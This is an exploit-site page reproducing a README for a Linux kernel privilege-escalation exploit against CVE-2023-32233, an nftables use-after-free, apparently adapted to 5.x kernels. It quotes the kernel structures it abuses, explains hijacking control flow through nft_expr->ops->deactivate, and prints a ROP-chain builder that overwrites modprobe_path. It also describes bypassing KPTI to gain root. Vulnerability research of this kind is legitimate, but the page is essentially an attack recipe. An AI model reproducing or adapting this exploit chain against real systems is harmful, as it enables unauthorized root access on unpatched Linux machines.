Sploitus

Exploit for Use After Free in Linux Linux Kernel

githubexploit Β· 2024-04-01

Exploit Code

README66 lines
## https://sploitus.com/exploit?id=C6DB9FD2-AB34-5BF4-97E3-656C11F06A18
# CVE-2023-32233 5.x Kernel Adaptation

## Existing Exploitation Vector
1. https://github.com/Liuk3r/CVE-2023-32233/tree/main
2. https://github.com/google/security-research/tree/master/pocs/linux/kernelctf/CVE-2023-32233_mitigation

## Reason
The vulnerability occurs due to a low version of the kernel (direct crash in `list_del_rcu`).

## Method
This exploit was tested successfully on version 5.15.110.

By combining two exploits, leveraging the `nft_rule` structure and exploiting a `list_head` leak in the kernel stack, the kernel address is leaked through `nft_expr->ops`, and the control flow is hijacked via `nft_expr->ops->deactivate`.

```c
struct nft_rule {
    struct list_head  	(list);
    u64              	handle:42,
               	genmask:2,
               	dlen:12,
               	udata:1;
    unsigned char     	data[];
    __attribute__((aligned(__alignof__(struct nft_expr))));
};

struct nft_expr {
    const struct nft_expr_ops *ops;
    unsigned char     	data[];
    __attribute__((aligned(__alignof__(u64))));
};

static void nft_rule_expr_deactivate(const struct nft_ctx *ctx,
                                    struct nft_rule *rule,
                                    enum nft_trans_phase phase)
{
    struct nft_expr *expr;

    expr = nft_expr_first(rule);
    while (nft_expr_more(rule, expr)) {
        if (expr->ops->deactivate)
            expr->ops->deactivate(ctx, expr, phase);        // [7]

        expr = nft_expr_next(expr);
    }
}
```

For ease of privilege escalation, we directly use the method from Exploit1, which relies on `modprobe_path`. The constructed ROP is as follows:

```c
// /sbin/modpath -> /tmp/modpath
void make_payload_rop(uint64_t* data) {
    data[0] = kbase + POP_5REG_RET; // Skip metadata
    data[5] = kbase + PUSH_RAX_POP_RSP; // expr->ops->deactivate
    // /tmp/mod - sbin/mod
    // 0x646f6d2f706d742f - 0x646f6d2f6e696273 = 0x20411bc
    data[6] = kbase + POP_RAX_RET;
    data[7] = kbase + cfg_modprobe_path+1; // [rax]
    data[8] = kbase + POP_RDI_RET;
    data[9] = 0x20411bc; // rdi
    data[10] = kbase + ADD_RAX_0_EDI; // add [rax], edi
}
```

The kernel executes at `data[5]`, where the block's starting address (`&data[0]`) is stored in the RAX register. The `push rax; pop rsp; ret;` sequence causes a stack corruption, preventing normal return to user mode. To gain privilege, a larger block (>0x80) can be used (refer to Exploit1’s `make_payload_rop2`), and `swapgs_restore regs and return to usermode` can be used to bypass `kpti` and return to user mode. Since the forged `nft_rule` contains 0x18 bytes of metadata (mainly at offset 0x10), the `pop` instruction is needed to skip these addresses. Subsequent steps can be handled using simple gadgets, such as modifying `modprobe_path`.